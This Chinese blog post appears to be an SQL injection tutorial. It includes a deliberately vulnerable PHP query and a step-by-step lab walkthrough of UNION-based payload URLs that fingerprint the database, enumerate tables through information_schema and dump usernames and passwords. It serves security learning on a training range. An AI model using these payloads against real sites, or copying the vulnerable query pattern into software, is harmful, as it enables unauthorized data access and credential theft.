SQL注入基础简介

SQL注入#

简介#

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现对数据库中数据的获取以及操作

注入条件#

  • 可控变量
  • SQL语句执行
  • 变量未存在过滤或者过滤不严谨
Copy
if(isset($_GET['id'])) { // 可控变量 $id=$_GET['id']; // 定义SQL语句且被执行 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); }

注入解析#

Copy
# 可能存在注入有可控变量 id = 1 www.test.com/index.php?id=1 # 可能存在注入有可控变量 id = 1 www.test.com/?id=1 # 可能存在注入有可控变量 id = 1 and x = 1 www.test.com/index.php?id=1&x=1 # # 可能存在注入例如post提交数据 www.test.com/index.php

注入正确#

Copy
# 若参数x为注入变量 下列注入正确语句是 # 此时注入语句在变量y后不在x中 故不存在注入 1: www.test.con/index.php?y=1 and 1=1&x=2 # 注入语句在注入变量x之后 2: www.test.com/index.php?y=1&x=2 and 1=1 # 只要x存在注入语句 y可写可不写 3: www.test.com/index.php?y=2 and 1=1 &x=1 and 1=1 # 变量名称与上述x都不对等 故不存在 4: www.test.com/index.php?xxx=1 and 1=1&xxx=1 and 1=1

注入思路#

  • 获取操作系统
  • 获取数据库版本
  • 获取数据库用户
  • 获取数据库表格
  • 获取数据库字段

数据注入#

同数据库#

  • 低版本:暴力查询或者结合读取查询
  • 高版本:结合information_schema查询有据查询

高权限注入#

  • 跨库查询:利用数据库跨数据库查询
  • 文件读写:利用注入进行文件上传或者下载(需要知道网站的目录)

靶场测试#

判断注入#

Copy
# 判断是否存在注入 存在页面正常 select * from table where id = 1 and 1 = 1 # 页面报错 select * from table where id = 1 and 1 = 2

判断字段数量#

Copy
# 数字为几页面报错 则字段数量为几 - 1 select * from table where id =1 order by + 数字 http://219.153.49.228:45448/new_list.php?id=1 order by 5

image-20210714233555341

报错显示#

Copy
http://219.153.49.228:45448/new_list.php?id=-1 union selec 1,2,3,4

image-20210714234009559

信息查询#

Copy
''' 1:数据库名称:database() 2:数据库版本:version() 3:数据库用户:user() 4:数据库系统:@@version_compile_os '''

查询版本/数据库名称#

Copy
http://219.153.49.228:45448/new_list.php?id=-1%20union%20select%201,database(),version(),4

image-20210714234648979

查询用户名称/操作系统#

Copy
http://219.153.49.228:45448/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4

image-20210714235126187

information_schema#

在MySQL5.0中而information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

  • tables :记录所有表面的表
  • columns:记录所有表字段信息
  • SCHEMATA:记录所有数据库名称
  • table_name:表名
  • column_name:列名
  • table_schema:数据库名称

查询表名#

Copy
# 查询mozhe_Discuz_StormGroup表面信息 # 使用group_concat将多条数据合并成一条数据显示 http://219.153.49.228:45448/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

image-20210715002451403

查询字段#

Copy
http://219.153.49.228:45448/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'

image-20210715002740518

查询数据#

Copy
http://219.153.49.228:45448/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

image-20210715003109405

posted @   SR丶  阅读(96)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
历史上的今天:
2020-07-15 Linux之MySQL安装
点击右上角即可分享
微信分享提示
CONTENTS